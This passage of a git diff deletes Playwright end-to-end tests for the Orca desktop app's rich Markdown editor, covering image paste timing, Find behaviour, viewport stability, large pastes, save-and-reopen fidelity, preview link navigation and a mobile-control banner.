getActiveWorktreeContext(orcaPage) - const filePath = await createMarkdownFixture( - context, - '.orca-e2e-markdown-image', - 'async-image', - testInfo.workerIndex, - 'hello world\n\nThe selected word should be replaced by this image.' - ) - const imagePath = testInfo.outputPath('deferred-image.png') - await writeFile(imagePath, Buffer.from(PNG, 'base64')) - registerPostElectronShutdownCleanup(() => cleanupMarkdownFixture(filePath)) - registerPostElectronShutdownCleanup(() => - cleanupMarkdownFixture(path.join(path.dirname(filePath), path.basename(imagePath))) - ) - await openMarkdownFixture(orcaPage, context, filePath) - const editor = await waitForRichMarkdownEditor(orcaPage) - await expect(editor.locator('p').first()).toHaveText('hello world') - await orcaPage.screenshot({ path: testInfo.outputPath('image-document-before-paste.png') }) - - // Substitute clipboard persistence without reading or writing the system clipboard. - await electronApp.evaluate(({ ipcMain }, imagePath) => { - ipcMain.removeHandler('clipboard:saveImageAsTempFile') - ipcMain.handle( - 'clipboard:saveImageAsTempFile', - () => - new Promise((resolve) => { - globalThis.__markdownImagePasteRelease = () => resolve(imagePath) - }) - ) - }, imagePath) - const pasteSelection = await pasteImage(editor) - await testInfo.attach('selection-at-image-paste', { - body: Buffer.from(JSON.stringify(pasteSelection, null, 2)), - contentType: 'application/json' - }) - expect(pasteSelection.before).toEqual({ from: 7, to: 12, selectedText: 'world' }) - expect(pasteSelection.after).toEqual(pasteSelection.before) - expect(pasteSelection.handled).toBe(true) - await expect - .poll(() => - electronApp.evaluate(() => typeof globalThis.__markdownImagePasteRelease === 'function') - ) - .toBe(true) - - await editor.evaluate((element) => { - const editorElement = - document.querySelector('.rich-markdown-editor') - if (!editorElement || editorElement !== element || !editorElement.editor) { - throw new Error('Markdown editor unavailable') - } - editorElement.editor.commands.setTextSelection(1) - }) - await orcaPage.keyboard.type('prefix ') - await expect(editor.locator('p').first()).toHaveText('prefix hello world') - await electronApp.evaluate(() => { - const release = globalThis.__markdownImagePasteRelease - if (typeof release !== 'function') { - throw new Error('Clipboard import not pending') - } - release() - globalThis.__markdownImagePasteRelease = undefined - }) - const image = editor.locator('img:not(.ProseMirror-separator)') - await expect(image).toHaveCount(1) - await expect(image).toBeVisible() - await expect - .poll(() => - image.evaluate( - (image) => image instanceof HTMLImageElement && image.complete && image.naturalWidth > 0 - ) - ) - .toBe(true) - await orcaPage.keyboard.type('continued ') - await orcaPage.screenshot({ path: testInfo.outputPath('image-after-delayed-paste.png') }) - await testInfo.attach('image-after-delayed-paste', { - path: testInfo.outputPath('image-after-delayed-paste.png'), - contentType: 'image/png' - }) - await expect(editor.locator('p').first()).toHaveText('prefix continued hello ') - expect( - await editor.evaluate(() => { - const instance = - document.querySelector('.rich-markdown-editor')?.editor - if (!instance) { - throw new Error('Markdown editor unavailable') - } - const content: (string | undefined)[] = [] - instance.state.doc.firstChild?.forEach((node) => { - content.push(node.isText ? node.text : node.type.name) - }) - return content - }) - ).toEqual(['prefix continued hello ', 'image']) - await expect(editor.locator('p').nth(1)).toHaveText( - 'The selected word should be replaced by this image.' - ) -}) - -test('image paste reports cancellation when the selected target changes before import', async ({ - orcaPage, - electronApp, - registerPostElectronShutdownCleanup -}, testInfo) => { - const context = await getActiveWorktreeContext(orcaPage) - const filePath = await createMarkdownFixture( - context, - '.orca-e2e-markdown-image', - 'cancel-image', - testInfo.workerIndex, - 'hello world' - ) - const imagePath = testInfo.outputPath('pending-image.png') - await writeFile(imagePath, Buffer.from(PNG, 'base64')) - registerPostElectronShutdownCleanup(() => cleanupMarkdownFixture(filePath)) - await openMarkdownFixture(orcaPage, context, filePath) - const editor = await waitForRichMarkdownEditor(orcaPage) - await electronApp.evaluate(({ ipcMain }, imagePath) => { - ipcMain.removeHandler('clipboard:saveImageAsTempFile') - ipcMain.handle( - 'clipboard:saveImageAsTempFile', - () => - new Promise((resolve) => { - globalThis.__markdownImagePasteRelease = () => resolve(imagePath) - }) - ) - }, imagePath) - const pasteSelection = await pasteImage(editor) - expect(pasteSelection.before).toEqual({ from: 7, to: 12, selectedText: 'world' }) - expect(pasteSelection.after).toEqual(pasteSelection.before) - expect(pasteSelection.handled).toBe(true) - await expect - .poll(() => - electronApp.evaluate(() => typeof globalThis.__markdownImagePasteRelease === 'function') - ) - .toBe(true) - - await editor.evaluate((element) => { - const editorElement = - document.querySelector('.rich-markdown-editor') - if (!editorElement || editorElement !== element || !editorElement.editor) { - throw new Error('Markdown editor unavailable') - } - editorElement.focus() - editorElement.editor.commands.setTextSelection({ from: 7, to: 12 }) - editorElement.editor.commands.insertContent('changed') - }) - await electronApp.evaluate(() => { - const release = globalThis.__markdownImagePasteRelease - if (typeof release !== 'function') { - throw new Error('Clipboard import not pending') - } - release() - globalThis.__markdownImagePasteRelease = undefined - }) - await expect(editor.locator('p').first()).toHaveText('hello changed') - await expect(editor.locator('img:not(.ProseMirror-separator)')).toHaveCount(0) - const cancellationMessage = orcaPage.getByText( - 'Image insertion canceled because the destination changed. Try again.', - { exact: true } - ) - await expect(cancellationMessage).toBeVisible() - const screenshot = testInfo.outputPath('image-cancellation-feedback.png') - await orcaPage.screenshot({ path: screenshot, animations: 'disabled' }) - await testInfo.attach('image-cancellation-feedback', { - path: screenshot, - contentType: 'image/png' - }) -}) diff --git a/tests/e2e/markdown-find-editing.spec.ts b/tests/e2e/markdown-find-editing.spec.ts deleted file mode 100644 index 7acf13f2491..00000000000 --- a/tests/e2e/markdown-find-editing.spec.ts +++ /dev/null @@ -1,304 +0,0 @@ -import type { Locator, Page } from '@stablyai/playwright-test' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { pressShortcut } from './helpers/shortcuts' -import { - cleanupMarkdownFixture, - createMarkdownFixture, - getActiveWorktreeContext, - openMarkdownFixture, - waitForRichMarkdownEditor -} from './helpers/markdown-editor-fixture' - -const TARGET_TEXT = 'Editing target paragraph keeps the pointer position and viewport.' -const MARKDOWN = [ - '# Find and pointer editing', - 'Needle remains at the beginning.', - ...Array.from({ length: 100 }, (_, index) => - index === 70 ? TARGET_TEXT : `Paragraph ${index} provides room to scroll through the document.` - ), - 'Needle remains at the end.' -].join('\n\n') -const TABLE_MARKDOWN = MARKDOWN.replace( - TARGET_TEXT, - `| Name | Value |\n| --- | --- |\n| Target | ${TARGET_TEXT} |` -) - -async function textPoint(paragraph: Locator, offset: number) { - return paragraph.evaluate((element, offset) => { - const text = element.firstChild - if (!(text instanceof Text)) { - throw new Error('Expected a plain-text paragraph') - } - const range = document.createRange() - range.setStart(text, offset) - range.collapse(true) - const bounds = range.getBoundingClientRect() - return { x: bounds.left, y: bounds.top + bounds.height / 2 } - }, offset) -} - -async function readParagraphSelection(paragraph: Locator) { - return paragraph.evaluate((element) => { - const selection = window.getSelection() - if (!selection?.anchorNode || !selection.focusNode) { - return null - } - if (!element.contains(selection.anchorNode) || !element.contains(selection.focusNode)) { - return null - } - const start = document.createRange() - start.selectNodeContents(element) - start.setEnd(selection.anchorNode, selection.anchorOffset) - const end = document.createRange() - end.selectNodeContents(element) - end.setEnd(selection.focusNode, selection.focusOffset) - return { - from: Math.min(start.toString().length, end.toString().length), - to: Math.max(start.toString().length, end.toString().length), - text: selection.toString() - } - }) -} - -async function centerParagraph(paragraph: Locator): Promise { - await paragraph.evaluate((element) => element.scrollIntoView({ block: 'center' })) -} - -async function pointAtParagraph(page: Page, paragraph: Locator, drag: boolean) { - const start = await textPoint(paragraph, 8) - await page.mouse.move(start.x, start.y) - await page.mouse.down() - if (drag) { - const end = await textPoint(paragraph, 24) - await page.mouse.move(end.x, end.y, { steps: 12 }) - } - // Tiptap focus commands can schedule a stale-selection scroll for the next frame. - await page.evaluate( - () => - new Promise((resolve) => { - requestAnimationFrame(() => requestAnimationFrame(() => resolve())) - }) - ) - await page.mouse.up() - const selection = await readParagraphSelection(paragraph) - expect(selection).not.toBeNull() - if (!selection) { - throw new Error('Pointer selection left the intended paragraph') - } - if (drag) { - expect(selection.text).toBe('target paragraph') - } else { - expect(selection.from).toBe(selection.to) - } - return selection -} - -test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) -}) - -for (const interaction of ['click', 'drag'] as const) { - test(`keeps Find open while a document ${interaction} edits at the pointer position`, async ({ - orcaPage, - registerPostElectronShutdownCleanup - }, testInfo) => { - const context = await getActiveWorktreeContext(orcaPage) - const filePath = await createMarkdownFixture( - context, - '.orca-e2e-markdown-find-editing', - `find-${interaction}`, - testInfo.workerIndex, - MARKDOWN - ) - registerPostElectronShutdownCleanup(() => cleanupMarkdownFixture(filePath)) - await openMarkdownFixture(orcaPage, context, filePath) - const editor = await waitForRichMarkdownEditor(orcaPage) - const paragraph = editor.locator('p').filter({ hasText: 'Editing' }) - const viewport = orcaPage.locator('.rich-markdown-editor-shell .overflow-auto') - await editor.locator('p').first().click() - await pressShortcut(orcaPage, 'f') - const search = orcaPage.getByRole('textbox', { name: 'Find in rich markdown editor' }) - await expect(search).toBeFocused() - await search.fill('Needle') - await orcaPage.getByRole('button', { name: 'Match case', exact: true }).click() - await orcaPage.getByRole('button', { name: 'Match whole word', exact: true }).click() - await expect(orcaPage.locator('.rich-markdown-search-status')).toHaveText('1/2') - await centerParagraph(paragraph) - const originalScroll = await viewport.evaluate((element) => element.scrollTop) - const selection = await pointAtParagraph(orcaPage, paragraph, interaction === 'drag') - - // Separate key events allow document updates to expose a caret reset between characters. - await orcaPage.keyboard.type('xy', { delay: 100 }) - await orcaPage.screenshot({ path: testInfo.outputPath('find-document-edit.png') }) - await expect(paragraph).toHaveText( - `${TARGET_TEXT.slice(0, selection.from)}xy${TARGET_TEXT.slice(selection.to)}` - ) - await expect(editor.locator('p').first()).toHaveText('Needle remains at the beginning.') - await expect - .poll(() => readParagraphSelection(paragraph)) - .toEqual({ - from: selection.from + 2, - to: selection.from + 2, - text: '' - }) - await expect - .poll(() => viewport.evaluate((element) => element.scrollTop)) - .toBeCloseTo(originalScroll, 0) - await expect(search).toBeVisible() - await expect(search).toHaveValue('Needle') - await expect(orcaPage.getByRole('button', { name: 'Match case', exact: true })).toHaveAttribute( - 'aria-pressed', - 'true' - ) - await expect( - orcaPage.getByRole('button', { name: 'Match whole word', exact: true }) - ).toHaveAttribute('aria-pressed', 'true') - await expect(orcaPage.locator('.rich-markdown-search-status')).toHaveText('1/2') - }) - - test(`keeps the scrolled table and ${interaction} selection after switching Source to Rich`, async ({ - orcaPage, - registerPostElectronShutdownCleanup - }, testInfo) => { - const context = await getActiveWorktreeContext(orcaPage) - const filePath = await createMarkdownFixture( - context, - '.orca-e2e-markdown-find-editing', - `source-${interaction}`, - testInfo.workerIndex, - TABLE_MARKDOWN - ) - registerPostElectronShutdownCleanup(() => cleanupMarkdownFixture(filePath)) - await openMarkdownFixture(orcaPage, context, filePath) - await waitForRichMarkdownEditor(orcaPage) - await orcaPage.getByRole('radio', { name: 'Source', exact: true }).click() - await expect(orcaPage.locator('.monaco-editor')).toBeVisible() - await orcaPage.getByRole('radio', { name: 'Rich Editor', exact: true }).click() - const editor = await waitForRichMarkdownEditor(orcaPage) - await expect(editor).not.toBeFocused() - const paragraph = editor.locator('td p').filter({ hasText: 'Editing' }) - const viewport = orcaPage.locator('.rich-markdown-editor-shell .overflow-auto') - await centerParagraph(paragraph) - const originalScroll = await viewport.evaluate((element) => element.scrollTop) - const selection = await pointAtParagraph(orcaPage, paragraph, interaction === 'drag') - await expect(editor).toBeFocused() - await expect(paragraph).toHaveText(TARGET_TEXT) - await expect - .poll(() => viewport.evaluate((element) => element.scrollTop)) - .toBeCloseTo(originalScroll, 0) - const tab = orcaPage - .locator('[data-tab-id]') - .filter({ hasText: path.basename(filePath) }) - .last() - await expect(tab.locator('span.rounded-full')).toHaveCount(0) - await expect(tab.getByRole('button', { name: 'Close tab' })).toBeVisible() - await orcaPage.screenshot({ path: testInfo.outputPath('source-rich-table-selection.png') }) - await orcaPage.keyboard.type('xy', { delay: 100 }) - await orcaPage.screenshot({ path: testInfo.outputPath('source-rich-pointer-edit.png') }) - await expect(paragraph).toHaveText( - `${TARGET_TEXT.slice(0, selection.from)}xy${TARGET_TEXT.slice(selection.to)}` - ) - await expect - .poll(() => readParagraphSelection(paragraph)) - .toEqual({ - from: selection.from + 2, - to: selection.from + 2, - text: '' - }) - await expect - .poll(() => viewport.evaluate((element) => element.scrollTop)) - .toBeCloseTo(originalScroll, 0) - }) -} - -for (const returnPath of ['bare', 'removed-replace', 'native', 'escape'] as const) { - test(`preserves the live viewport on ${returnPath} return from Find`, async ({ - orcaPage, - registerPostElectronShutdownCleanup - }, testInfo) => { - const context = await getActiveWorktreeContext(orcaPage) - const filePath = await createMarkdownFixture( - context, - '.orca-e2e-markdown-find-editing', - `viewport-${returnPath}`, - testInfo.workerIndex, - MARKDOWN - ) - registerPostElectronShutdownCleanup(() => cleanupMarkdownFixture(filePath)) - await openMarkdownFixture(orcaPage, context, filePath) - const editor = await waitForRichMarkdownEditor(orcaPage) - const originalText = await editor.textContent() - await editor.locator('p').first().click() - await pressShortcut(orcaPage, 'f') - const search = orcaPage.getByRole('textbox', { name: 'Find in rich markdown editor' }) - await search.fill('Needle') - await expect(orcaPage.locator('.rich-markdown-search-status')).toHaveText('1/2') - if (returnPath === 'removed-replace' || returnPath === 'native') { - await orcaPage.getByRole('button', { name: 'Toggle replace', exact: true }).click() - await orcaPage.getByRole('textbox', { name: 'Replace in rich markdown editor' }).focus() - } - await centerParagraph(editor.locator('p').filter({ hasText: 'Editing' })) - const viewport = orcaPage.locator('.rich-markdown-editor-shell .overflow-auto') - const before = await viewport.evaluate((element) => element.scrollTop) - expect(before).toBeGreaterThan(1000) - if (returnPath === 'removed-replace' || returnPath === 'native') { - await orcaPage.getByRole('button', { name: 'Toggle replace', exact: true }).click() - await expect( - orcaPage.getByRole('textbox', { name: 'Replace in rich markdown editor' }) - ).toHaveCount(0) - } - if (returnPath === 'native') { - await orcaPage.keyboard.press('Shift+Tab') - await expect( - orcaPage.getByRole('button', { name: 'Toggle replace', exact: true }) - ).toBeFocused() - await orcaPage.keyboard.press('Shift+Tab') - } else if (returnPath === 'escape') { - await search.press('Escape') - } else { - await editor.evaluate((element) => { - if (!(element instanceof HTMLElement)) { - throw new Error('Missing rich editor') - } - element.focus() - }) - } - await expect(editor).toBeFocused() - // Allow the engine's focus recovery to settle, rather than checking only the focus listener. - await expect - .poll(() => - viewport.evaluate(async (element) => { - // ast-grep-ignore: test-no-real-time-wait -- proves the viewport stays put through the engine's 200 ms post-focus selection recovery window, which has no completion signal - await new Promise((resolve) => setTimeout(resolve, 250)) - return element.scrollTop - }) - ) - .toBeCloseTo(before, 0) - await expect(editor).toHaveText(originalText ?? '') - if (returnPath === 'bare') { - await search.focus() - await orcaPage.getByRole('button', { name: 'Next match', exact: true }).click() - await expect(orcaPage.locator('.rich-markdown-search-status')).toHaveText('2/2') - const zero = await editor.evaluate((element) => { - if ( - !(element instanceof HTMLElement) || - !(element.parentElement?.parentElement instanceof HTMLElement) - ) { - throw new Error('Missing rich viewport') - } - const viewport = element.closest('.overflow-auto') - if (!(viewport instanceof HTMLElement)) { - throw new Error('Missing rich viewport') - } - viewport.scrollTo({ top: 0, behavior: 'instant' }) - element.focus() - return viewport.scrollTop - }) - expect(zero).toBe(0) - await expect.poll(() => viewport.evaluate((element) => element.scrollTop)).toBe(0) - } - }) -} diff --git a/tests/e2e/markdown-large-paste-selection.spec.ts b/tests/e2e/markdown-large-paste-selection.spec.ts deleted file mode 100644 index 62f7d29e690..00000000000 --- a/tests/e2e/markdown-large-paste-selection.spec.ts +++ /dev/null @@ -1,92 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import type { Locator } from '@stablyai/playwright-test' -import type { Editor } from '@tiptap/core' -import { - cleanupMarkdownFixture, - createMarkdownFixture, - getActiveWorktreeContext, - openMarkdownFixture, - waitForRichMarkdownEditor -} from './helpers/markdown-editor-fixture' -import { waitForSessionReady, waitForActiveWorktree } from './helpers/store' - -type RichMarkdownEditorElement = HTMLElement & { editor?: Editor } - -async function readParagraphs(editor: Locator): Promise { - return editor.evaluate(() => { - const instance = - document.querySelector('.rich-markdown-editor')?.editor - if (!instance) { - throw new Error('Document unavailable') - } - const texts: string[] = [] - instance.state.doc.forEach((node) => texts.push(node.textContent)) - return texts - }) -} - -test('keeps a large paste at its original selection after the caret moves', async ({ - orcaPage, - registerPostElectronShutdownCleanup -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const context = await getActiveWorktreeContext(orcaPage) - const filePath = await createMarkdownFixture( - context, - '.orca-e2e-markdown-large-paste', - 'selection', - testInfo.workerIndex, - 'hello world\n\nother paragraph' - ) - registerPostElectronShutdownCleanup(() => cleanupMarkdownFixture(filePath)) - await openMarkdownFixture(orcaPage, context, filePath) - const editor = await waitForRichMarkdownEditor(orcaPage) - const payload = 'PASTE_SENTINEL '.repeat(5500) - await editor.evaluate((element, text) => { - const instance = - document.querySelector('.rich-markdown-editor')?.editor - if (!instance) { - throw new Error('Editor unavailable') - } - element.focus() - instance.commands.setTextSelection({ from: 7, to: 12 }) - const data = new DataTransfer() - data.setData('text/plain', text) - element.dispatchEvent( - new ClipboardEvent('paste', { bubbles: true, cancelable: true, clipboardData: data }) - ) - // Move during the production byte-measurement yield in this same input task. - instance.commands.setTextSelection(29) - }, payload) - await expect - .poll(async () => (await readParagraphs(editor)).join('').length) - .toBeGreaterThan(payload.length) - await expect - .poll(async () => (await readParagraphs(editor)).join('').match(/PASTE_SENTINEL/g)?.length ?? 0) - .toBe(5500) - await orcaPage.keyboard.type('!') - await editor.evaluate((element) => element.querySelector('p')?.scrollIntoView({ block: 'start' })) - await orcaPage.screenshot({ path: testInfo.outputPath('large-paste-after-caret-move.png') }) - const paragraphs = await readParagraphs(editor) - const outcome = { - bytes: Buffer.byteLength(payload), - firstLength: paragraphs[0]?.length, - firstPrefix: paragraphs[0]?.slice(0, 40), - firstTextMatches: paragraphs[0] === `hello ${payload}`, - secondLength: paragraphs[1]?.length, - secondTextMatches: paragraphs[1] === 'other paragraph!' - } - await testInfo.attach('large-paste-outcome', { - body: JSON.stringify(outcome), - contentType: 'application/json' - }) - expect(outcome).toEqual({ - bytes: Buffer.byteLength(payload), - firstLength: payload.length + 6, - firstPrefix: `hello ${payload}`.slice(0, 40), - firstTextMatches: true, - secondLength: 16, - secondTextMatches: true - }) -}) diff --git a/tests/e2e/markdown-literal-save-reopen.spec.ts b/tests/e2e/markdown-literal-save-reopen.spec.ts deleted file mode 100644 index 745396d8771..00000000000 --- a/tests/e2e/markdown-literal-save-reopen.spec.ts +++ /dev/null @@ -1,119 +0,0 @@ -import { mkdtempSync, readFileSync, realpathSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { switchToWorktree, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - cleanupMarkdownFixture, - closeActiveEditorTab, - createMarkdownFixture, - getActiveWorktreeContext, - openMarkdownFixture, - waitForRichMarkdownEditor -} from './helpers/markdown-editor-fixture' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { waitForPairedClientWorktree } from './helpers/paired-client-host-session' - -const SOURCE = '# Compatibility\n\n[[]] [[a|]]\n\n[**Bold**](https://example.com)\n\nEnd\n' -const TYPED = '[typed](./target.md)' - -for (const workspace of ['git', 'folder', 'paired remote'] as const) { - test(`preserves literal Markdown and formatted links when saving in ${workspace}`, async ({ - orcaPage, - registerPostElectronShutdownCleanup - }, testInfo) => { - test.setTimeout(180_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - if (workspace === 'folder') { - const folder = realpathSync(mkdtempSync(path.join(os.tmpdir(), 'orca-markdown-folder-'))) - registerPostElectronShutdownCleanup(async () => - rmSync(folder, { recursive: true, force: true }) - ) - await orcaPage.evaluate(async (folderPath) => { - const repo = await window.__store!.getState().addNonGitFolder(folderPath) - if (!repo) { - throw new Error('Could not add folder workspace') - } - }, folder) - await expect - .poll(async () => (await getActiveWorktreeContext(orcaPage)).rootPath) - .toBe(folder) - } - const context = await getActiveWorktreeContext(orcaPage) - const filePath = await createMarkdownFixture( - context, - 'markdown-compatibility', - workspace.replaceAll(' ', '-'), - testInfo.workerIndex, - SOURCE - ) - let client: PairedElectronClient | undefined - try { - if (workspace === 'paired remote') { - client = await launchPairedElectronClient( - await createRuntimeDesktopPairingOffer(orcaPage), - testInfo, - 'Markdown save compatibility' - ) - await waitForPairedClientWorktree(client.page, context.worktreeId) - await client.page.evaluate( - ({ worktreeId, environmentId }) => { - window.__store!.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { worktreeId: context.worktreeId, environmentId: client.environmentId } - ) - } - const page = client?.page ?? orcaPage - await openMarkdownFixture(page, context, filePath) - if (client) { - expect( - await page.evaluate(() => { - const state = window.__store!.getState() - return state.openFiles.find((file) => file.id === state.activeFileId) - ?.runtimeEnvironmentId - }) - ).toBe(client.environmentId) - } - const editor = await waitForRichMarkdownEditor(page) - await expect(editor).toContainText('[[]] [[a|]]') - await expect(editor.locator('a strong')).toHaveText('Bold') - await editor.click() - await page.keyboard.press('ControlOrMeta+End') - await page.keyboard.press('Enter') - await page.keyboard.insertText(TYPED) - await expect(editor.locator('a').filter({ hasText: 'typed' })).toHaveCount(0) - await page.keyboard.press('ControlOrMeta+S') - await expect - .poll(() => readFileSync(filePath, 'utf8'), { timeout: 15_000 }) - .toContain('typed') - const saved = readFileSync(filePath, 'utf8') - expect(saved).toContain('[[]] [[a|]]') - expect(saved).toContain('[**Bold**](https://example.com)') - await testInfo.attach('saved-markdown', { body: saved, contentType: 'text/markdown' }) - await closeActiveEditorTab(page, filePath) - // Closing a folder's only tab intentionally returns to the landing screen. - if (workspace === 'folder') { - await switchToWorktree(page, context.worktreeId) - } - await openMarkdownFixture(page, context, filePath) - const reopened = await waitForRichMarkdownEditor(page) - await expect(reopened).toContainText(TYPED) - await expect(reopened).toContainText('[[]] [[a|]]') - await expect(reopened.locator('a strong')).toHaveText('Bold') - await expect(reopened.locator('a').filter({ hasText: 'typed' })).toHaveCount(0) - await testInfo.attach('reopened-editor', { - body: await page.screenshot(), - contentType: 'image/png' - }) - await closeActiveEditorTab(page, filePath) - } finally { - await client?.dispose() - await cleanupMarkdownFixture(filePath) - } - }) -} diff --git a/tests/e2e/markdown-preview-document-navigation.spec.ts b/tests/e2e/markdown-preview-document-navigation.spec.ts deleted file mode 100644 index 7b07315e1e5..00000000000 --- a/tests/e2e/markdown-preview-document-navigation.spec.ts +++ /dev/null @@ -1,98 +0,0 @@ -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { - cleanupMarkdownFixture, - createMarkdownFixture, - getActiveWorktreeContext -} from './helpers/markdown-editor-fixture' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const FIXTURE_DIRECTORY = 'orca-e2e-preview-document-navigation' - -for (const kind of ['relative', 'wiki'] as const) { - for (const anchored of [false, true]) { - test(`${kind} ${anchored ? 'anchored' : 'plain'} links stay in Markdown preview`, async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const context = await getActiveWorktreeContext(orcaPage) - let sourcePath: string | null = null - let targetPath: string | null = null - - try { - targetPath = await createMarkdownFixture( - context, - FIXTURE_DIRECTORY, - 'target', - testInfo.workerIndex, - '# Target\n\nDestination content.\n' - ) - const fragment = anchored ? '#target' : '' - const relativeTarget = path.relative(context.rootPath, targetPath).split(path.sep).join('/') - const link = - kind === 'wiki' - ? `[[${relativeTarget}${fragment}|Open target]]` - : `[Open target](${path.basename(targetPath)}${fragment})` - sourcePath = await createMarkdownFixture( - context, - FIXTURE_DIRECTORY, - 'source', - testInfo.workerIndex, - `# Source\n\n${link}\n` - ) - await orcaPage.evaluate( - ({ filePath, relativePath, worktreeId }) => { - window.__store!.getState().openMarkdownPreview({ - filePath, - relativePath, - worktreeId, - language: 'markdown' - }) - }, - { - filePath: sourcePath, - relativePath: path.relative(context.rootPath, sourcePath), - worktreeId: context.worktreeId - } - ) - const linkElement = orcaPage.getByRole('link', { name: 'Open target', exact: true }) - await expect(linkElement).toBeVisible() - if (kind === 'wiki') { - await expect(linkElement).not.toHaveClass(/markdown-doc-link-broken/) - } - await linkElement.click() - - await expect - .poll(() => - orcaPage.evaluate(() => { - const state = window.__store!.getState() - const file = state.openFiles.find((entry) => entry.id === state.activeFileId) - return file - ? { - filePath: file.filePath, - mode: file.mode, - anchor: file.markdownPreviewAnchor ?? null - } - : null - }) - ) - .toEqual({ - filePath: targetPath, - mode: 'markdown-preview', - anchor: anchored ? 'target' : null - }) - await expect(orcaPage.getByRole('heading', { name: 'Target', exact: true })).toBeVisible() - const screenshotPath = testInfo.outputPath('destination-preview.png') - await orcaPage.screenshot({ path: screenshotPath }) - await testInfo.attach('destination-preview', { - path: screenshotPath, - contentType: 'image/png' - }) - } finally { - await cleanupMarkdownFixture(sourcePath) - await cleanupMarkdownFixture(targetPath) - } - }) - } -} diff --git a/tests/e2e/mobile-banner.spec.ts b/tests/e2e/mobile-banner.spec.ts deleted file mode 100644 index 990faff8f3c..00000000000 --- a/tests/e2e/mobile-banner.spec.ts +++ /dev/null @@ -1,544 +0,0 @@ -import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - ensureTerminalVisible, - getActiveWorktreeId, - getAllWorktreeIds, - switchToWorktree, - waitForSessionReady, - waitForActiveWorktree -} from './helpers/store' -import { - splitActiveTerminalPane, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' - -// #1532: drive production fit/driver IPC → renderer state → banner; DOM assertions cover mounting/dismissal and screenshots expose terminal-obscuring scrims. - -test.describe.configure({ mode: 'serial' }) - -test('mobile subscribe mounts overlay; collapse → chip; Take back dismisses', async ({ - orcaPage, - electronApp -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage) - await installRestoreTerminalFitRecorder(electronApp) - - const overlay = orcaPage.locator('.mobile-driver-banner') - await expect(overlay).toHaveCount(0) - - // Send the auto-subscribe fit/driver events that main emits to mount the loud overlay. - await sendMobileSubscribeIpc(electronApp, { ptyId, cols: 45, rows: 20 }) - - await expect(overlay).toBeVisible({ timeout: 15_000 }) - await expect(overlay).toContainText(/your phone is in control/i) - await expectExpandedOverlayLeavesPaneReadable(orcaPage, ptyId) - - const takeBackThisTerminal = overlay.getByRole('button', { name: /^take back$/i }) - const takeBackAllTerminals = overlay.getByRole('button', { name: /^take back all$/i }) - const collapse = overlay.getByRole('button', { name: /^minimize$/i }) - await expect(takeBackThisTerminal).toBeVisible() - await expect(takeBackAllTerminals).toBeVisible() - await expect(collapse).toBeVisible() - - await captureAttachment(orcaPage, testInfo, 'overlay-loud.png') - - // Minimize keeps the lock while showing a compact take-back chip over live output. - await collapse.click() - await expect(overlay).toContainText(/phone driving/i) - await expect(overlay.getByRole('button', { name: /take back/i })).toBeVisible() - await expect(overlay).not.toContainText(/your phone is in control/i) - await expectChipIsCompactInPane(orcaPage, ptyId) - - await captureAttachment(orcaPage, testInfo, 'overlay-collapsed.png') - - await overlay.getByRole('button', { name: /phone driving/i }).click() - await expect(overlay).toContainText(/your phone is in control/i) - await expectExpandedOverlayLeavesPaneReadable(orcaPage, ptyId) - - await collapse.click() - await expect(overlay).not.toContainText(/your phone is in control/i) - - // Mirror main’s desktop-fit and driver events after proving Take back called the production IPC. - await overlay.getByRole('button', { name: /take back/i }).click() - await expectRestoreTerminalFitCalls(electronApp, [ptyId]) - await sendDesktopRestoreIpc(electronApp, { ptyId }) - await expect(overlay).toBeHidden({ timeout: 15_000 }) -}) - -test('held phone-fit state mounts restore overlay without collapse', async ({ - orcaPage, - electronApp -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage) - await installRestoreTerminalFitRecorder(electronApp) - - const overlay = orcaPage.locator('.mobile-driver-banner') - await expect(overlay).toHaveCount(0) - - // After disconnect, idle driver plus held phone fit stays loud because no mobile output remains to watch. - await sendHeldPhoneFitIpc(electronApp, { ptyId, cols: 45, rows: 20 }) - - await expect(overlay).toBeVisible({ timeout: 15_000 }) - await expect(overlay).toContainText(/still sized for your phone/i) - await expect(overlay.getByRole('button', { name: /^restore$/i })).toBeVisible() - await expect(overlay.getByRole('button', { name: /^restore all$/i })).toBeVisible() - await expect(overlay.getByRole('button', { name: /^minimize$/i })).toHaveCount(0) - await expect(overlay.getByRole('button', { name: /take back/i })).toHaveCount(0) - await expectExpandedOverlayLeavesPaneReadable(orcaPage, ptyId) - - await captureAttachment(orcaPage, testInfo, 'overlay-held-fit.png') - - await overlay.getByRole('button', { name: /^restore$/i }).click() - await expectRestoreTerminalFitCalls(electronApp, [ptyId]) - await sendDesktopRestoreIpc(electronApp, { ptyId }) - await expect(overlay).toBeHidden({ timeout: 15_000 }) -}) - -test('restore refits the active restored pane', async ({ orcaPage, electronApp }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage) - await installRestoreTerminalFitAutoRestoreRecorder(electronApp) - - await sendHeldPhoneFitIpc(electronApp, { ptyId, cols: 1, 